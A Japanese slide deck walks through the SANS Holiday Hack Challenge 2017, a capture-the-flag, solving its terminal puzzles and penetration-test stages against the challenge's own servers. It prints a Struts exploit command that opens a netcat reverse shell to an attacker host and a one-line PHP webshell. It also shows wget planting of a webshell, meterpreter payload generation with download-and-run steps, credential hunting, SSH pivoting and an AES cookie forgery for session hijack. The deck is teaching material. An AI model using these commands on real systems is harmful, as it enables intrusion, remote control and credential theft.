SlideShare une entreprise Scribd logo
1  sur  167
Télécharger pour lire hors ligne
“Stay Right”ペンテスト⼊⾨

SANS Holiday Hack 

Challenge 2017の

解説 & Walkthrough
2018/2/10
⼤和セキュリティ神戸
⽥中ザック (@yamatosecurity)
*注意*
•悪用禁⽌!
•ここで学ぶ技術は絶対に悪用してはいけません。

自分のシステムとネットワークを守るために、

どんな風に攻撃されるかをまず理解する必要がありますが、

悪用して許可なく他⼈のシステムを攻撃するのは犯罪なので、
技術を悪用している⽅を見かけたらすぐに通報します。
なんでペンテストの
技術を身につけた⽅が良い?
Shift Leftではなく、
Stay Rightなの?
Shift Leftとは?
https://www.asteriskresearch.com/services/security-initiative-training/
勿論Shift Leftで
開発段階で
できるだけ多くの

脆弱性を潰した⽅が良い
けど最終的な
ペンテストも必須なので
 Stay Rightも⼤事!
※注意※

今回適当に
「Stay Right」を冗談で

⾔っているだけなので
流⾏らせないでね∼
Holiday Hack Challenges
•2002年からフリーハッキングチャレンジ
•過去のチャレンジは全ていつでも挑戦可能
•https://holidayhackchallenge.com/past-challenges/
•毎年1年をかけて開発。作者は約20⼈
•既に2018年のHoliday Hack Challengeを企画中
•毎年約10,000⼈のプレーヤー参加
Holiday Hack 2017
•普通の問題ではなく
•クリスマスストーリーでハック(⼀風変わったCTF?)
•(英語のハードルはきっとある・・)
•初⼼者∼上級者まで。Red TeamもBlue Teamも!
•Linux Command~ペンテスト/脆弱性診断に使う攻撃
Holiday Hack 2017
•2017年に話題になった脆弱性
•最近話題になっているプライバシー問題

例:Data De-anonymization (匿名解除)
•(Site-Isolationが無効になっている)Chromeから

https://holidayhackchallenge.com/2017/

(FF/IE/Safariに対応していない模様)
Holiday Hack 2017
•三分の⼀:ゲーム(⼦供参加も⼤歓迎!)
•三分の⼀:ターミナルチャレンジ
• 三分の⼀:ペンテスト
Holiday Hack 2017
•ゲーム:

道具を使って雪⽟を出⼝(黄⾊い部分)に

⾏くように⽅向を変える
•そうするとエルフからヒントを貰って

次のレベルがアンロックされる
•(途中のWaypoint (赤い点)等を通ると

もっとポイントが貰えるが必須ではない)
Holiday Hack 2017
•ターミナルチャレンジ:

ゲームに役立つ道具を貰える
•ペンテスト:

⾊んな鯖にハックして“The Great Book”のページ

(フラグ)を回収してクリスマスを救う!!
ストーリー
•ナレーター:“Sam the Snowman”
•「North Poleの⼭の上から誰かがでかい

雪⽟を投げてプレゼントを作っているエルフ
達を邪魔している。もしかしてインフラまで
破壊されてクリスマスが中⽌になるかも!」
ストーリー
•「また赤鼻トナカイのRudolphに助けて
貰おうと思ったが、彼は伝⾔を残して

⾏⽅を晦ました」
ストーリー
•Rudolphからの⼿紙:
•あなたがたは私の最⼤の長所
をずっと笑いものにしていま
したね。私の赤鼻を利用でき
ると知ってやっと私を受け⼊
れて賞賛してくれました。だ
けど本当は、私に対してでは
なく、私を利用できたことに
対して喜んでいただけだった
のでしょう。ルドルフより
ストーリー
•「Rudolphは⾊々⼤変な思いをしたけど、

まさか彼がやってないよな∼」
•「さらに!雪⽟だけではなく、先週突然竜巻が

現れエルフ達の7ページの聖なる「The Great Book」 

を切り離し其々のページを世界中に放った。」
ストーリー
「The Great Bookの全7ページを見つけ出し、
North Poleを破壊している雪⽟を⽌めて

犯⼈を捕まえることが出来ればクリスマスを
救える! どうか皆、頼んだぞ!」
ルール
•攻撃範囲:l2s.northpolechristmastown.comの

「Letters to Santa System」と10.142.0.0/24の内部
ネットワーク以外は攻撃してはいけない。
nppd.northpolechristmastown.comからデータを

ダウンロードしても良いが攻撃してはいけない。

また、North Pole and Beyond puzzler、

チャット、ゲーム機能も攻撃してはいけない。
チャレンジ1
•North Pole and Beyondの

Winter Wonder Landingで⼤きな雪⽟を使って

The Great Bookの1ページ目を取得して下さい。

そのタイトル名は?
•デフォルトの道具(雪⽟)だけでは厳しいので

ターミナルチャレンジを最初に解く
Winter Wonder Landing

ターミナルチャレンジ
My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.
•elftalkdバイナリを見つけて実⾏するだけ
•しかし、findやlocateのバイナリが壊れて使えない
Winter Wonder Landing

ターミナルチャレンジ(答え)
elf@e036aa185c2c:~$ ls -R / | grep -B 5 elftalkd
ls: cannot open directory '/proc/tty/driver': Permission denied
ls: cannot open directory '/root': Permission denied
/run/elftalk:
bin
/run/elftalk/bin:
elftalkd
ls: cannot open directory '/var/cache/apt/archives/partial': Permission denied
ls: cannot open directory '/var/cache/ldconfig': Permission denied
ls: cannot open directory '/var/lib/apt/lists/partial': Permission denied
Winter Wonder Landing

ターミナルチャレンジ(答え)
$ /run/elftalk/bin/elftalkd
Running in interactive mode
--== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
_ __ _ _ _ _
| |/ _| | | | | | |
___| | |_| |_ __ _| | | ____| |
/ _  | _| __/ _` | | |/ / _` |
| __/ | | | || (_| | | < (_| |
___|_|_| ____,_|_|_|___,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337)
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...
「レベル成功」のメッセージは

表示されないが、これでOK!
メニューから「Stocking」に⾏ったら
雪⽟の⽅向を変える「Conveyor」を
ゲットできた!⼀番便利な道具!
Winter Wonder Landing

ターミナルチャレンジ(答え)
クリックするとConveyor
の⽅向を変更して
緑の⽮印の⽅向に雪⽟を
リダイレクトできる!
Cryokinetic Magic
ターミナルチャレンジ
Run the CandyCaneStriper executable to complete this challenge.
$ ls -l
total 48
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
$ ./CandyCaneStriper
bash: ./CandyCaneStriper: Permission denied
•実⾏するだけで良いけど実⾏権限(x)が付いていない!
•どうやって実⾏できる?
Cryokinetic Magic
ターミナルチャレンジ(挑戦)
$ chmod +x ./CandyCaneStriper
elf@c69b9478e31d:~$ ls -l
total 48
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
•所有者がrootなのでやっぱりchmodできない
•読み込める権限あるからコピーしてから、

そのコピーに実⾏権限を与えたら良い?
Cryokinetic Magic
ターミナルチャレンジ(挑戦)
$ whereis chmod
chmod: /bin/chmod /usr/share/man/man1/chmod.1.gz
elf@c69b9478e31d:~$ ls -l /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod
•あれ?!?
•ファイルサイズがヌルやんけ!
Cryokinetic Magic
ターミナルチャレンジ(答え1)
$ cp CandyCaneStriper mycandy
$ perl -e 'chmod 0755, "mycandy"'
$ ls -l
total 96
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
-rwxr-xr-x 1 elf elf 45224 Jan 12 07:35 mycandy
•グーグル先⽣に聞いたら、chmodが無くてもPerlを利用して

実⾏権限を与える⽅法を教えてくれます
•https://www.networkworld.com/article/3002286/operating-
systems/what-can-you-do-when-you-cant-chmod-chmod.html
Cryokinetic Magic
ターミナルチャレンジ(答え2)
$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper
_..._
.' //`,
/.'``'.=",
/ / ;==|
// .'`,`
/ / `""`
//
//
/ /
//
/`/
/
`
The candy cane striping machine is up and running!
elf@c69b9478e31d:~$
•共有ライブラリローダーを直接呼んで実⾏する事も可能!
•理由:https://superuser.com/questions/456304/subverting-the-execute-flag-on-linux-systems-why-is-this-possible
Cryokinetic Magic
ターミナルチャレンジのプレゼント!
雪⽟を小さくして遅くするテルミットをゲット!
There’s snow place like home

ターミナルチャレンジ
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.
•エルフのPepper Minstixです。⼿伝って!

クリスマストレーンのおもちゃを壊したけど

実⾏できる?
There’s snow place like home

ターミナルチャレンジ
$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
•実⾏ファイルの構成エラー
$ file ./trainstartup
./trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
$ uname -a
Linux 7436455470ff 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64
x86_64 x86_64 GNU/Linux
•Intel 64ビットOSなのに、バイナリがARMのよう
There’s snow place like home

ターミナルチャレンジ(答え)
$ qemu-arm ./trainstartup
•qemuのエミュレータを使ったら実⾏できる!
雪⽟を遅くするジャムをゲット!
かなり便利!
Winconceivable: The Cliffs of Winsanity

ターミナルチャレンジ
Kill the "santaslittlehelperd" process to complete this challenge.
•「santaslittlehelperd」のプロセスを殺したら良い
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 8 0.0 0.0 4224 636 pts/0 S 08:06 0:00 /usr/bin/santaslittlehelperd
$ kill -9 8
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 8 0.0 0.0 4224 636 pts/0 S 08:06 0:00 /usr/bin/santaslittlehelperd
$ killall santaslittlehelperd
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 8 0.0 0.0 4224 636 pts/0 S 08:06 0:00 /usr/bin/santaslittlehelperd
Winconceivable: The Cliffs of Winsanity

ターミナルチャレンジ
•kill -9とかkillallしても中々死んでくれない
•エルフのヒントを見たら「alias」なんとか⾔っているので
•「alias」をチェックしたら、kill等のコマンドを

「true」コマンドにリダイレクトしている
$ alias
alias kill=‘true'
alias killall='true'
alias pkill='true'
alias skill='true'
Winconceivable: The Cliffs of Winsanity

ターミナルチャレンジ(答え)
$ unalias kill
$ kill -9 8
$ ps
PID TTY TIME CMD
1 pts/0 00:00:00 init
12 pts/0 00:00:00 bash
315 pts/0 00:00:00 ps
Candy Caneをゲット!
チャレンジ1
全てのターミナルチャレンジを解いて

道具をゲットできたので、

Winter Wonder Landingのゲームで

The Great Bookのページ1を取得します
見えにくいが、
これがGreat Page 1
雪⽟をここに⾏かせて

から出⼝まで⾏かせる
何回もRoll/Reset
してもOK!
道具はここから

ドラッグ&ドロップ。

アンロックされたのに

表示されない場合は
⼀回タブ/ブラウザを

閉じて再起動したり

ログアウト/ログインしたり

してみて下さい

(たまにバグっている)
ターミナル

チャレンジ
The Great Book (Page 1)をゲット!
チャレンジ1(答え)
ページ1のタイトルが

「About This Book」
チャレンジ2
https://l2s.northpolechristmastown.comのLetters to Santa

ウェブアプリケーションに脆弱性が無いか見てみて下さい。

サーバのウェブルートディレクトリにThe Great Bookのページがあります。

そのページのトピックは?

Alabaster Snowballのパスワードは?



(難しければ、“Winconceivable: The Cliffs of Winsanity Level”の

Sparkle Redberryエルフはヒントを教えてくれます)
チャレンジ2(ヒント)
“Winconceivable: The Cliffs of Winsanity Level”のゲームをクリアすると

以下のヒントが貰える:
•ヒント1:Letters to Santaウェブサイトの

開発サイトを頑張っていたわ
•ヒント2:⼿紙のページの開発コンテンツを

削除すべきだったかも知れないけど、

急いでいたので隠しただけ
•ヒント3:Alabasterは主にApache Strutsを

使っている。私はApacheが⼤好きでホーム

コンピュータにローカルインスタンスで

ウェブシェルを使っている。ウェブシェルは

バックドアとして最⾼なので遠隔操作する時によく

使う。凄く複雑なファイル名を使っているので

誰も推測できないはず。
Conveyor
Jam
チャレンジ2(ヒント)
•ヒント4:以下のように簡単なPHPウェブシェルを作れる:

<?php echo "<pre>" . shell_exec($_GET['e']) . "</pre>"; ?>

これをウェブルートに置いたら以下のURL等でコマンド実⾏できる:

http://server/complexFileName.php?e=ls
•ヒント5:世の中に沢⼭のウェブシェルがある:

https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
•ヒント6:Equal-Factsとのビジネスは残念だったね。そのような脆弱なシステムの

エクスプロイトコードは沢⼭あるね。AlabasterはCVE-2017-5638を確認したそうだけど、

他にも確認したかな? (Equal-Facts = Equifaxの情報漏えい事件を指している。145,000,000⼈の個⼈情報
(名前、住所、マイナンバー等々)がStrutsの攻撃で盗難された)
•ヒント7:Apache StrustはXMLを使う。XMLに特殊⽂字を使うので苦⼿やわ。調べたら沢⼭のエクス
プロイトがあるみたい。https://pen-testing.sans.org/blog/2017/12/05/why-you-need-the-skills-to-tinker-
with-publicly-released-exploit-code とか
•ヒント8:開発者へのアドバイス:認証情報(アカウント&パスワード)を

ハードコートしない⽅が良い。また、再利用も危ないからやめた⽅が良い
チャレンジ2
https://l2s.northpolechristmastown.com/
サンタさんへ

⼿紙を送るシス
テム
Burpの

脆弱性スキャン

しても

CSRFしか

出てこない・・
チャレンジ2
https://l2s.northpolechristmastown.com/
HTMLソースを見たら
開発サーバを発見?
チャレンジ2
•$ nslookup dev.northpolechristmastown.com

Non-authoritative answer:

Name: dev.northpolechristmastown.com

Address: 35.185.84.51
•$ nslookup l2s.northpolechristmastown.com

Non-authoritative answer:

Name: l2s.northpolechristmastown.com

Address: 35.185.84.51
•IPアドレスが同じなので開発ドメインに侵⼊できたら、

本番サーバにもアクセスできる
チャレンジ2
https://dev.northpolechristmastown.com/orders.xhtml
いろんな所を攻撃できるウェブアプリがある
⼀番下に「Powered by: Apache Struts」と書いてあるので、
まずStrutsの攻撃をしてみる
チャレンジ2
SANS Pentestブログに
あったエクスプロイトコードを試したいけど、
コマンド実⾏ができても結果が返ってこない
ので、グローバルIPアドレスが必要
https://github.com/chrisjd20/cve-2017-9805.py
Amazon AWSの無料micro EC2インスタンス作成
• まずグローバルIPアドレスのKaliインスタンスを作成
• 無料Tierのため新規でAWSアカウントを作成する
• https://console.aws.amazon.com/
_
全ての通信を許可するように
Linux/OS Xからのログイン
• chmod 400 /path/my-key-pair.pem
• ssh -i /path/my-key-pair.pem 

ec2-user@ec2-xxx-xx-xxx-xx.compute-1.amazonaws.com
• sudo su - (でrootになる)
WindowsからAWSに接続
• PuTTYをダウンロード

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
• Amazonからダウンロードした.pemをLoad
• 「Save private key」で保存
• 秘密鍵をロードしてe2-user@パブリックDNSに接続
• 詳細:https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/AccessingInstancesLinux.html
• AWS Kali側からnc -l -p 8888 で待ち受ける
• ローカルKALIから

# chmod +x cve-2017-9805.py

# ./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "nc <AWS IP> 8888 -e /bin/sh"
• AWS Kali側からwhoami, pwd, uname -a等のコマンド実⾏

alabaster_snowballのユーザ権限がある(Tomcatプロセス)
チャレンジ2

STRUTS脆弱性を悪⽤してncでコマンド実⾏
• # ./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml 

-c "wget https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/
be4b2c021b284f21418f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php 

-O /var/www/html/shell.php"
• https://l2s.northpolechristmastown.com/shell.php から

コマンド実⾏
• www-dataのユーザ権限あり(Apacheプロセス)
• ※定期的にウェブシェルが削除される※
チャレンジ2 - ウェブシェル作成
• 以下のコマンドでMeterpreterリバースHTTPSシェルを作成する

msfvenom -p linux/x64/meterpreter_reverse_https LHOST=<IPアドレス> LPORT=9999 

-f elf > meterpreter-shell
• /etc/init.d/apache2 start でウェブサーバを起動
• cp ./meterpreter-shell /var/www/html/s
• (被害者)NCシェル/ウェブシェル等からwget http://<AWS Kali IP>/s
• (被害者)NCシェル/ウェブシェル等からchmod +x ./s
• AWS Kaliで以下のコマンドでmeterpreterリスナーを作成

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/
meterpreter_reverse_https; set LHOST <IPアドレス>; set LPORT 9999; run; exit -y”
• (被害者)NCシェル/ウェブシェル等から./s
チャレンジ2 - Meterpreterシェル

(オプション:アドバンス)
• /var/www/html/GreatBookPage2.pdf にあるので

https://l2s.northpolechristmastown.com/GreatBookPage2.pdf からDLできる

タイトル:”On the topic of flying animals”
• 強制ブラウズで推測できたかも
• sha1sum /var/www/html/GreatBookPage2.pdf 

aa814d1c25455480942cb4106e6cde84be86fb30
チャレンジ2
The Great Book Page 2
• AlabasterのPWは?(ソースコードにハードコードされている?)
• ハードコードされているというヒントがあったので、

/で検索するより/opt/apache-tomcatや/var/www/html等を検索

Meterpreterシェルから:grep -i alabaster -R / -C 5 2>/dev/null(時間かかり過ぎて死ぬ?)

NCシェルからgrep -i alabaster -R / -C 5 > /tmp/grep-output.txt(時間かかり過ぎて死ぬ?)

grep -i alabaster -R /opt/apache-tomcat -C 2 > /tmp/grep.txt& など

grep -i pass /tmp/grep.txt
• /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class-
→ final String password = “stream_unhappy_buy_loss"; のパスワードを発見した!
• ssh alabaster_snowball@dev.northpolechristmastown.com でSSHできるけど、

ログインしたらrbashの制限されたbashに居る
チャレンジ2

alabaster_snowballのPW
チャレンジ3
North Poleのエンジニアリングチームはドキュメントを

共有するためWindows SMBサーバを使っています。

Letters to Santaサーバのアクセスを利用し、

SMBファイル共有サーバを特定して情報を列挙して下さい。
共有フォルダ名は?



(ヒントが欲しい⽅は

Cryokinetic Magic LevelのHolly Evergreenが教えてくれます)
チャレンジ3- Cryokinetic Magic Level(ゲーム)
適当にConveyorを使った・・
チャレンジ3(ヒント)
• ヒント1:Nmapのデフォルトのホストディスカバリーは

全てのホストを見つけられないかも。ポートを指定したい時は

-PSフラグを使う。例:-PS123はポート123番をチェックする
• ヒント2:Alabasterさんはシンプルな⼈なので、

パスワードを強いものにしてからずっとそれを再利用
• ヒント3:Letters to Santaサーバで使えるコマンドは

制限されているけど、SSHのコマンドでなんとかなるでしょう
チャレンジ3(ヒント)
• ヒント4:SSHでポート転送を使ったことある?

結構便利やでー。https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding
•ヒント5:WindowsユーザはPuTTYを使ったらSSH転送できる
•ヒント6:Linuxでポート転送して、Windowsからその

Linux IPに接続すると転送される

例:ssh -L :445:SMBSERVERIP:445 username@sshserver
•ヒント7:LinuxからsmbclientコマンドでWindows SMBに接続できる

例:smbclient -L SMBサーバ若しくは転送するサーバ -U username
チャレンジ3(内部スキャン)
• l2s.northpolechristmastown.comのウェブシェルからifconfig:

10.142.0.3
• nmap -Pn -p 445,139 -v 10.142.0.0/24 でSMBサーバを探す
• hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)と

hhc17-emi.c.holidayhack2017.internal (10.142.0.8)に

139番と445番が空いている
チャレンジ3(共有列挙)
•まず10.142.0.7をターゲットして、

SSHポート転送をセットアップ
•ローカルKALI等から

ssh -L 4445:10.142.0.7:445 -N
alabaster_snowball@dev.northpolechristmastown.com

<PW⼊⼒>
• localhostの4445番に送る通信が10.142.0.7:445に転送される
• 別の踏み台⽅法:https://artkond.com/2017/03/23/pivoting-guide/
チャレンジ3(共有列挙)
•上記のコマンドで転送しているので、

別のターミナルを開いてsmbclientで接続
チャレンジ3(Great Book Page 3)
•Page 3: “The Great Schism” Sha1: 57737da397cbfda84e88b573cd96d45fcf34a5da
チャレンジ4
エルフ達はメールを送信する時に内部から

http://mail.northpolechristmastown.comの

Elf Web Access (EWA)を使っています。

そのサーバにあるメールに

The Great Bookのページがあります。その内容は?

(ヒントが欲しい⽅はThere's Snow Place Like Home

チャレンジのPepper Minstixがヒントを教えてくれます)
Challenge 4のヒント
There's Snow Place Like Home(ゲーム)
チャレンジ 4 (ヒント)
•ヒント1:Alabasterが作ってくれた新しい
メールサーバは楽しみだわ。クッキーのレシ
ピを共有する時に便利になりそう。開発ファ
イルを全部片付けたかな?確か検索エンジン
にインデクスされないように対策していた
チャレンジ 4 (ヒント)
•ヒント2:新メールサーバの認証は完璧。

自作プロトコルでAES256を使っているから

安全だね。
•ヒント3:AESを解読する時に最初の

16バイトを初期化ベクトル(IV)に使う。

その後、IV+秘密鍵で残りのデータを解読する
チャレンジ 4 (ヒント)
•ヒント4:暗号化されたデータがたった

16バイトの場合はどうなるんだろう?
•ヒント5:サンタさんがプレゼントを配った後に、
貰ったクッキーについて⾊々話してくれる。

私はクッキーが⼤好き。クッキーを食べるのも、

編集するのも、作るのも好き
チャレンジ 4 (挑戦)
•nc/ウェブシェルからmail.northpolechristmastown.comの

詳細なポートスキャンを⾏う
•nmap -A -v mail.northpolechristmastown.com

(少し時間かかる)
10.142.0.5
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:c6:33:33:50:50:49:84:64:89:ae:68:03:f8:c6:56 (RSA)
|_ 256 3b:bb:3b:18:02:61:f6:a7:3e:df:c5:c6:a9:dc:1a:bd (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN,
AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
143/tcp open imap Dovecot imapd
|_imap-capabilities: have IMAP4rev1 OK more post-login AUTH=LOGINA0001 AUTH=PLAIN LITERAL+ capabilities
IDLE ENABLE Pre-login listed ID SASL-IR LOGIN-REFERRALS
2525/tcp open smtp Postfix smtpd
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN,
AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
3000/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: Host: mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel
•ウェブシェルからcurl mail.northpolechristmastown.com/cookie.txt
//FOUND THESE FOR creating and validating cookies. Going to use this in node js (cookie生成・確認するコードを見つけたのでnode jsに使う。
function cookie_maker(username, callback){ (Cookie生成)
var key = 'need to put any length key in here’;   (任意の長さのキーをここに入れる)
(
var plaintext = rando_string(5) //randomly generates a string of 5 characters (5文字のランダムな文字列を生成する)
//makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random
characters 

     (暗号化してbase64に。デコードしたら全部で21バイトの長さ。16バイトがIV。5バイトがランダムな文字列)
//Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out. (出力から「=」を削除する)
var ciphertext = aes256.encrypt(key, plaintext).replace(/=/g,'');
//Setting the values of the cookie. (クッキーの値をセットする)
var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext, "ciphertext":ciphertext}), { maxAge: 86400000,
httpOnly: true, encode: String }]
return callback(acookie);
};
function cookie_checker(req, callback){        (Cookie確認)
try{
var key = 'need to put any length key in here';
//Retrieving the cookie from the request headers and parsing it as JSON  (リクエストヘッダーからクッキーを取得し、JSONとしてパース)
var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);  //Retrieving the cipher text (暗号文を取得)
var ciphertext = thecookie.ciphertext; //Retrieving the username (ユーザ名を取得)
var username = thecookie.name //retrieving the plaintext (平文を取得)
var plaintext = aes256.decrypt(key, ciphertext); //If the plaintext and ciphertext are the same,
// then it means the data was encrypted with the same key (平文と暗号文は一緒の場合は同じ で暗号化された)
if (plaintext === thecookie.plaintext) {
return callback(true, username);
} else {
return callback(false, '');
}
} catch (e) {
console.log(e);
return callback(false, '');
•ここが気になる
var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same,
then it means the data was encrypted with the same key 

(平文と暗号文が一致する場合は同じ で暗号化されたと判断)
if (plaintext === thecookie.plaintext) {
return callback(true, username);
} else {
return callback(false, '');
•ciphertextを解読してplaintextと⼀致するかどうかチェック
•ウェブプロクシの設定
•ローカルKALIでburpsuiteでウェブプロクシを起動
•デフォルトで8080番で待ち受けるので

ブラウザのプロクシ設定をそれに変更
•ssh -L 888:10.142.0.5:80 -N alabaster_snowball@dev.northpolechristmastown.com
•でポート転送する
•nano /etc/hostsでhostsを編集して

「127.0.0.1 mail.northpolechristmastown.com」を追加
•ブラウザでmail.northpolechristmastown.com:888に⾏ったら

本当のエルフメールサーバに転送される
•サーバからのSet-Cookie
•恐らくこのnode.jsパッケージを使っている
•https://www.npmjs.com/package/aes256
•ローカルKALIでnodejsをインストール (数時間かかるかも知れないので宿題)
•http://blog.teamtreehouse.com/install-node-js-npm-linux
•apt-get install build-essential curl git m4 ruby texinfo libbz2-dev libcurl4-openssl-dev
libexpat-dev libncurses-dev zlib1g-dev
•Homebrewをインストール

ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/linuxbrew/go/install)”
•.bashrcに追加

export PATH="$HOME/.linuxbrew/bin:$PATH"

export MANPATH="$HOME/.linuxbrew/share/man:$MANPATH"

export INFOPATH="$HOME/.linuxbrew/share/info:$INFOPATH"
•brew install node
•npm install aes256
•16バイト以下のデータをAES-CBCで暗号化したら、まず16バイトに

パッディングされる。その後、初期化ベクトルをランダムに⽣成して、

それを使って以下のようにデータを暗号化する
•AES-CBCでデータを暗号化してみよう!
•10バイトの秘密をまずbase64エンコード

$ echo -n "1234567890" | base64

MTIzNDU2Nzg5MA==
•node

> var aes256 = require('aes256');

>aes256.encrypt(‘secretkey-nandemo-ii‘, ‘MTIzNDU2Nzg5MA==')

'7Ir6tr4WBWRtq2ALI05aCTtElQOqlloZ+qQ9R4HUz3E='
•長さを確認しよう

$ echo -n "7Ir6tr4WBWRtq2ALI05aCTtElQOqlloZ+qQ9R4HUz3E=" | base64 --decode > 暗号⽂.bin

$ hexdump 暗号⽂.bin

0000000 8aec b6fa 16be 6405 ab6d 0b60 4e23 095a

0000010 443b 0395 96aa 195a a4fa 473d d481 71cf
暗号⽂が32バイト!

10バイトしか暗号化しなくても、

16バイトのIV (8aec b6fa 16be……)と

16バイトの暗号化されたデータが出⼒される
•16バイトのIVだけ復号したら空白の平⽂に復号されるはず
•まず16バイトをbase64エンコードする

echo -n "AAAAAAAAAAAAAAAA" | base64

QUFBQUFBQUFBQUFBQUFBQQ==
•$node

> var aes256 = require(‘aes256');

> aes256.decrypt('random key', 'QUFBQUFBQUFBQUFBQUFBQQ==')
•空白の⽂字列に復号されたというエラーが表示される
•適当に16バイトのbase64エンコードされたデータを

クッキーのciphertextにしたら、復号される時に空白の平⽂(plaintext)に

なるので、以下のクッキーでセッション乗っ取りできる!
•例:{“name":"alabaster.snowball@northpolechristmastown.com",

“plaintext":"","ciphertext":"QUFBQUFBQUFBQUFBQUFBQQ=="}
•ブラウザのWeb Developer→Inspector→Storage機能でCookieを編集するか、
ウェブプロクシで設定する
チャレンジ 4 (Great Book Page 4)
チャレンジ 4 (Great Book Page 4)
•SHA1:
•f192a884f68af24ae
55d9d9ad4adf8d3a3
995258
チャレンジ5
•何回悪いことをするとサンタのNaughty(悪い⼦)と

Nice(良い⼦)のリストで「悪い⼦」になりますか?

内部犯⾏を起こしているmole (モグラ/スパイ)の

名前を少なくとも6名を教えて下さい。

誰が⼭の上から雪⽟を投げていますか?

その証拠は?

(ヒントが欲しい⽅はBubbles Bounceの

Minty Candycaneがヒントを教えてくれます)
Bubbles Bounceターミナルチャレンジ
Identifying the least-popular browser is your noteworthy goal.
total 28704
-rw-r--r-- 1 root root 24191488 Dec 4 17:11 access.log
-rwxr-xr-x 1 root root 5197336 Dec 11 17:31 runtoanswer
•最も⼈気の無いブラウザを特定して下さい
$ cat ./access.log | cut -d " " -f 12 | sort | uniq -c | sort -n

1 "Dillo/3.0.5"
1 "curl/7.35.0"
1 "masscan/1.0
1 "masscan/1.0"
•./runtoanswer → Dillo Bumperをゲット!
Bubbles Bounceゲーム
ジャム
Bubbles Bounceゲーム
雪⽟を投げている⼈
が分かった!
Abominable Snow
Monsterだった!
ただ、誰かに

操られているようだ。
本当の犯⼈を見つけ
ないといけないね
Abominable Snowman
Bubbles Bounceゲーム
Page 5
チャレンジ5(Minty Candycaneのヒント)
•ヒント1:私はNorth PoleのGDPRコンプライアンス

オフィサーだ。主にSantaさんのnaughty and niceリストに

関するプライバシーリクエストに対応する。

ドキュメントをNorth Poleファイルサーバで管理している。
•ヒント2:North Pole Police Departmentがサンタさんの
naughty and nice listの違反を管理している。Mild naughty
events (少しだけ悪いことしたら)1 coalが評価されるけど、
とても悪いことをする⼦供は「5 coal」レベル
チャレンジ5(Minty Candycaneのヒント)
•ヒント3:⼆⼈のエルフが⼤喧嘩していて⼤変だった。

調べたら「Munchkin Mole」だったそうだけど本当かな
•ヒント4:JSONを使ったことある?ほぼ全てのプログラ
ミング⾔語にJSON Import/Export機能があって凄く便利
•ヒント5:テキストエディタを使って編集する事も可能。

JSONからCSV等の別の形式に変換するオンラインサイトも
沢⼭ある。たまに変換する前に少し直す必要があるかも
チャレンジ5(答え)
•匿名解除(Data De-Anonymization)の問題
•North Pole Police Departmentの違反リストをチェック

http://nppd.northpolechristmastown.com/infractions

